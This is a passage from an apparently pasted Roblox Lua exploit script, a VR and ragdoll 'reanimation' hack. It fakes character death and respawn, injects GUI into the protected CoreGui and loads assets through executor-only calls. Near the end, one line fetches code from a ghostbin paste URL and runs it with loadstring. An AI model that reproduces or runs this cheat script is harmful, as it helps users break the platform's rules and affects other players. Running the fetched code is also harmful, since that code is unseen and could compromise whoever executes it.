  740. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  741. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  742. WalkSpeed = 24
  743. })
  744. end
  745. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  746. Point1 = true
  747. end
  748. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  749. Point2 = true
  750. end
  751. if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then
  752. Character:BreakJoints()
  753. if RagdollEnabled and RagdollHeadMovement then
  754. Network:Unclaim()
  755. Respawn()
  756. end
  757. end
  758. end)
  759. local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)
  760. if not Processed then
  761. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  762. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  763. CameraOffset = Vector3.new(0, StudsOffset, 0)
  764. })
  765. end
  766. end
  767. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  768. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  769. WalkSpeed = 8
  770. })
  771. end
  772. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  773. Point1 = false
  774. end
  775. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  776. Point2 = false
  777. end
  778. end)
  779. --[[
  780. Proper Cleanup
  781. --]]
  782. local OnReset
  783. OnReset = Client.CharacterAdded:Connect(function()
  784. OnReset:Disconnect();
  785. CFrameChanged:Disconnect();
  786. OnStepped:Disconnect();
  787. OnRenderStepped:Disconnect();
  788. OnMoving:Disconnect();
  789. OnInput:Disconnect();
  790. OnInputEnded:Disconnect();
  791. VirtualRig:Destroy();
  792. VirtualBody:Destroy();
  793. if RagdollEnabled then
  794. Network:Unclaim();
  795. end
  796. if AutoRun then
  797. delay(2, function()
  798. Script()
  799. end)
  800. end
  801. end)
  802. if ChatEnabled then
  803. spawn(ChatHUDFunc)
  804. end
  805. if ViewportEnabled then
  806. spawn(ViewHUDFunc)
  807. end
  808. do
  809. --[[
  810. Functions
  811. --]]
  812. local Players = game:GetService("Players")
  813. local Client = Players.LocalPlayer
  814. local VRService = game:GetService("VRService")
  815. local VRReady = VRService.VREnabled
  816. local UserInputService = game:GetService("UserInputService")
  817. local RunService = game:GetService("RunService")
  818. local Camera = workspace.CurrentCamera
  819. --[[
  820. Code
  821. --]]
  822. if VRReady then
  823. local Pointer = game:GetObjects("rbxassetid://4476173280")[1]
  824. Pointer.Parent = workspace
  825. Pointer.Beam.Enabled = false
  826. Pointer.Target.ParticleEmitter.Enabled = false
  827. local RenderStepped = RunService.RenderStepped:Connect(function()
  828. if Pointer.Beam.Enabled then
  829. local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)
  830. local Target = RightHand * CFrame.new(0, 0, -10)
  831. local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)
  832. local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})
  833. local Distance = (Position - RightHand.p).Magnitude
  834. Pointer.Target.Position = Vector3.new(0, 0, -Distance)
  835. Pointer.CFrame = RightHand
  836. end
  837. end)
  838. local Input = UserInputService.InputBegan:Connect(function(Input)
  839. if Input.KeyCode == Enum.KeyCode.ButtonB then
  840. Pointer.Beam.Enabled = not Pointer.Beam.Enabled
  841. Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled
  842. end
  843. end)
  844. --
  845. local CharacterAdded
  846. CharacterAdded = Client.CharacterAdded:Connect(function()
  847. RenderStepped:Disconnect()
  848. Input:Disconnect()
  849. CharacterAdded:Disconnect()
  850. Pointer:Destroy()
  851. Pointer = nil
  852. end)
  853. else
  854. return
  855. end
  856. end
  857. end;
  858. Permadeath = function()
  859. local ch = game.Players.LocalPlayer.Character
  860. local prt=Instance.new("Model", workspace)
  861. local z1 = Instance.new("Part", prt)
  862. z1.Name="Torso"
  863. z1.CanCollide = false
  864. z1.Anchored = true
  865. local z2 =Instance.new("Part", prt)
  866. z2.Name="Head"
  867. z2.Anchored = true
  868. z2.CanCollide = false
  869. local z3 =Instance.new("Humanoid", prt)
  870. z3.Name="Humanoid"
  871. z1.Position = Vector3.new(0,9999,0)
  872. z2.Position = Vector3.new(0,9991,0)
  873. game.Players.LocalPlayer.Character=prt
  874. wait(5)
  875. warn("50%")
  876. game.Players.LocalPlayer.Character=ch
  877. wait(6)
  878. warn("100%")
  879. end;
  880. Respawn = function()
  881. local ch = game.Players.LocalPlayer.Character
  882. local prt=Instance.new("Model", workspace)
  883. local z1 = Instance.new("Part", prt)
  884. z1.Name="Torso"
  885. z1.CanCollide = false
  886. z1.Anchored = true
  887. local z2 =Instance.new("Part", prt)
  888. z2.Name="Head"
  889. z2.Anchored = true
  890. z2.CanCollide = false
  891. local z3 =Instance.new("Humanoid", prt)
  892. z3.Name="Humanoid"
  893. z1.Position = Vector3.new(0,9999,0)
  894. z2.Position = Vector3.new(0,9991,0)
  895. game.Players.LocalPlayer.Character=prt
  896. wait(5)
  897. game.Players.LocalPlayer.Character=ch
  898. end;
  899. ChatHUDFunc = function()
  900. --[[
  901. Variables
  902. --]]
  903. local UserInputService = game:GetService("UserInputService")
  904. local RunService = game:GetService("RunService")
  905. local VRService = game:GetService("VRService")
  906. local VRReady = VRService.VREnabled
  907. local Players = game:GetService("Players")
  908. local Client = Players.LocalPlayer
  909. local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]
  910. local GlobalFrame = ChatHUD.GlobalFrame
  911. local Template = GlobalFrame.Template
  912. local LocalFrame = ChatHUD.LocalFrame
  913. local Global = ChatHUD.Global
  914. local Local = ChatHUD.Local
  915. local Camera = workspace.CurrentCamera
  916. Template.Parent = nil
  917. ChatHUD.Parent = game:GetService("CoreGui")
  918. --[[
  919. Code
  920. --]]
  921. local Highlight = Global.Frame.BackgroundColor3
  922. local Deselected = Local.Frame.BackgroundColor3
  923. local OpenGlobalTab = function()
  924. Global.Frame.BackgroundColor3 = Highlight
  925. Local.Frame.BackgroundColor3 = Deselected
  926. Global.Font = Enum.Font.SourceSansBold
  927. Local.Font = Enum.Font.SourceSans
  928. GlobalFrame.Visible = true
  929. LocalFrame.Visible = false
  930. end
  931. local OpenLocalTab = function()
  932. Global.Frame.BackgroundColor3 = Deselected
  933. Local.Frame.BackgroundColor3 = Highlight
  934. Global.Font = Enum.Font.SourceSans
  935. Local.Font = Enum.Font.SourceSansBold
  936. GlobalFrame.Visible = false
  937. LocalFrame.Visible = true
  938. end
  939. Global.MouseButton1Down:Connect(OpenGlobalTab)
  940. Local.MouseButton1Down:Connect(OpenLocalTab)
  941. Global.MouseButton1Click:Connect(OpenGlobalTab)
  942. Local.MouseButton1Click:Connect(OpenLocalTab)
  943. OpenLocalTab()
  944. --
  945. local function GetPlayerDistance(Sender)
  946. if Sender.Character and Sender.Character:FindFirstChild("Head") then
  947. return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)
  948. end
  949. end
  950. local function NewGlobal(Message, Sender, Color)
  951. local Frame = Template:Clone()
  952. Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)
  953. Frame.User.Text = ("[%s]:"):format(Sender.Name)
  954. Frame.User.TextColor3 = Color
  955. Frame.BackgroundColor3 = Color
  956. Frame.Parent = GlobalFrame
  957. delay(60, function()
  958. Frame:Destroy()
  959. end)
  960. end
  961. local function NewLocal(Message, Sender, Color, Dist)
  962. local Frame = Template:Clone()
  963. Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)
  964. Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)
  965. Frame.User.TextColor3 = Color
  966. Frame.BackgroundColor3 = Color
  967. Frame.Parent = LocalFrame
  968. delay(60, function()
  969. Frame:Destroy()
  970. end)
  971. end
  972. local function OnNewChat(Message, Sender, Color)
  973. if not ChatHUD or not ChatHUD.Parent then return end
  974. NewGlobal(Message, Sender, Color)
  975. local Distance = GetPlayerDistance(Sender)
  976. if Distance and Distance <= ChatLocalRange then
  977. NewLocal(Message, Sender, Color, Distance)
  978. end
  979. end
  980. local function OnPlayerAdded(Player)
  981. if not ChatHUD or not ChatHUD.Parent then return end
  982. local Color = BrickColor.Random().Color
  983. Player.Chatted:Connect(function(Message)
  984. OnNewChat(Message, Player, Color)
  985. end)
  986. end
  987. Players.PlayerAdded:Connect(OnPlayerAdded)
  988. for _, Player in pairs(Players:GetPlayers()) do
  989. OnPlayerAdded(Player)
  990. end
  991. --
  992. local ChatPart = ChatHUD.Part
  993. ChatHUD.Adornee = ChatPart
  994. if VRReady then
  995. ChatHUD.Parent = game:GetService("CoreGui")
  996. ChatHUD.Enabled = true
  997. ChatHUD.AlwaysOnTop = true
  998. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  999. if not Processed then
  1000. if Input.KeyCode == Enum.KeyCode.ButtonX then
  1001. ChatHUD.Enabled = not ChatHUD.Enabled
  1002. end
  1003. end
  1004. end)
  1005. local RenderStepped = RunService.RenderStepped:Connect(function()
  1006. local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)
  1007. ChatPart.CFrame = Camera.CFrame * LeftHand
  1008. end)
  1009. local CharacterAdded
  1010. CharacterAdded = Client.CharacterAdded:Connect(function()
  1011. OnInput:Disconnect()
  1012. RenderStepped:Disconnect()
  1013. CharacterAdded:Disconnect()
  1014. ChatHUD:Destroy()
  1015. ChatHUD = nil
  1016. end)
  1017. end
  1018. wait(9e9)
  1019. end;
  1020. ViewHUDFunc = function()
  1021. --[[
  1022. Variables
  1023. --]]
  1024. local ViewportRange = ViewportRange or 32
  1025. local UserInputService = game:GetService("UserInputService")
  1026. local RunService = game:GetService("RunService")
  1027. local VRService = game:GetService("VRService")
  1028. local VRReady = VRService.VREnabled
  1029. local Players = game:GetService("Players")
  1030. local Client = Players.LocalPlayer
  1031. local Mouse = Client:GetMouse()
  1032. local Camera = workspace.CurrentCamera
  1033. local CameraPort = Camera.CFrame
  1034. local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]
  1035. local Viewport = ViewHUD.Viewport
  1036. local Viewcam = Instance.new("Camera")
  1037. local ViewPart = ViewHUD.Part
  1038. ViewHUD.Parent = game:GetService("CoreGui")
  1039. Viewcam.Parent = Viewport
  1040. Viewcam.CameraType = Enum.CameraType.Scriptable
  1041. Viewport.CurrentCamera = Viewcam
  1042. Viewport.BackgroundTransparency = 1
  1043. --[[
  1044. Code
  1045. --]]
  1046. local function Clone(Character)
  1047. local Arc = Character.Archivable
  1048. local Clone;
  1049. Character.Archivable = true
  1050. Clone = Character:Clone()
  1051. Character.Archivable = Arc
  1052. return Clone
  1053. end
  1054. local function GetPart(Name, Parent, Descendants)
  1055. for i = 1, #Descendants do
  1056. local Part = Descendants[i]
  1057. if Part.Name == Name and Part.Parent.Name == Parent then
  1058. return Part
  1059. end
  1060. end
  1061. end
  1062. local function OnPlayerAdded(Player)
  1063. if not ViewHUD or not ViewHUD.Parent then return end
  1064. local function CharacterAdded(Character)
  1065. if not ViewHUD or not ViewHUD.Parent then return end
  1066. Character:WaitForChild("Head")
  1067. Character:WaitForChild("Humanoid")
  1068. wait(3)
  1069. local FakeChar = Clone(Character)
  1070. local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")
  1071. local RenderConnection;
  1072. local Descendants = FakeChar:GetDescendants()
  1073. local RealDescendants = Character:GetDescendants()
  1074. local Correspondents = {};
  1075. FakeChar.Humanoid.DisplayDistanceType = "None"
  1076. for i = 1, #Descendants do
  1077. local Part = Descendants[i]
  1078. local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)
  1079. if Part:IsA("BasePart") and Real then
  1080. Part.Anchored = true
  1081. Part:BreakJoints()
  1082. if Part.Parent:IsA("Accessory") then
  1083. Part.Transparency = 0
  1084. end
  1085. table.insert(Correspondents, {Part, Real})
  1086. end
  1087. end
  1088. RenderConnection = RunService.RenderStepped:Connect(function()
  1089. if not Character or not Character.Parent then
  1090. RenderConnection:Disconnect()
  1091. FakeChar:Destroy()
  1092. return
  1093. end
  1094. if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then
  1095. for i = 1, #Correspondents do
  1096. local Part, Real = unpack(Correspondents[i])
  1097. if Part and Real and Part.Parent and Real.Parent then
  1098. Part.CFrame = Real.CFrame
  1099. elseif Part.Parent and not Real.Parent then
  1100. Part:Destroy()
  1101. end
  1102. end
  1103. end
  1104. end)
  1105. FakeChar.Parent = Viewcam
  1106. end
  1107. Player.CharacterAdded:Connect(CharacterAdded)
  1108. if Player.Character then
  1109. spawn(function()
  1110. CharacterAdded(Player.Character)
  1111. end)
  1112. end
  1113. end
  1114. local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)
  1115. for _, Player in pairs(Players:GetPlayers()) do
  1116. OnPlayerAdded(Player)
  1117. end
  1118. ViewPart.Size = Vector3.new()
  1119. if VRReady then
  1120. Viewport.Position = UDim2.new(.62, 0, .89, 0)
  1121. Viewport.Size = UDim2.new(.3, 0, .3, 0)
  1122. Viewport.AnchorPoint = Vector2.new(.5, 1)
  1123. else
  1124. Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)
  1125. end
  1126. local RenderStepped = RunService.RenderStepped:Connect(function()
  1127. local Render = Camera.CFrame
  1128. local Scale = Camera.ViewportSize
  1129. if VRReady then
  1130. Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)
  1131. end
  1132. CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)
  1133. Viewport.Camera.CFrame = CameraPort
  1134. ViewPart.CFrame = Render * CFrame.new(0, 0, -16)
  1135. ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)
  1136. end)
  1137. --
  1138. local CharacterAdded
  1139. CharacterAdded = Client.CharacterAdded:Connect(function()
  1140. RenderStepped:Disconnect()
  1141. CharacterAdded:Disconnect()
  1142. PlayerAdded:Disconnect()
  1143. ViewHUD:Destroy()
  1144. ViewHUD = nil
  1145. end)
  1146. wait(9e9)
  1147. end;
  1148. Script()
  1149. wait(2)
  1150. local Players = game:GetService("Players")
  1151. local lp = Players.LocalPlayer
  1152. local character = lp.Character
  1153. local A0LL = Instance.new("Attachment", character["Left Leg"])
  1154. A0LL.Position = Vector3.new(0, 1, 0)
  1155. local A1LL = Instance.new("Attachment", character["Torso"])
  1156. A1LL.Position = Vector3.new(-0.5, -1, 0)
  1157. local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])
  1158. socket1.Attachment0 = A0LL
  1159. socket1.Attachment1 = A1LL
  1160. local A0RL = Instance.new("Attachment", character["Right Leg"])
  1161. A0RL.Position = Vector3.new(0, 1, 0)
  1162. local A1RL = Instance.new("Attachment", character["Torso"])
  1163. A1RL.Position = Vector3.new(0.5, -1, 0)
  1164. local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])
  1165. socket2.Attachment0 = A0RL
  1166. socket2.Attachment1 = A1RL
  1167. local A0H = Instance.new("Attachment", character["Head"])
  1168. A0H.Position = Vector3.new(0, -0.5, 0)
  1169. local A1H = Instance.new("Attachment", character["Torso"])
  1170. A1H.Position = Vector3.new(0, 1, 0)
  1171. local socket5 = Instance.new("BallSocketConstraint", character["Head"])
  1172. socket5.Attachment0 = A0H
  1173. socket5.Attachment1 = A1H
  1174. loadstring(game:HttpGet("https://ghostbin.co/paste/krmyf/raw",true))()
  1175. -----------------------------------------------------------
  1176. wait(9e9)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement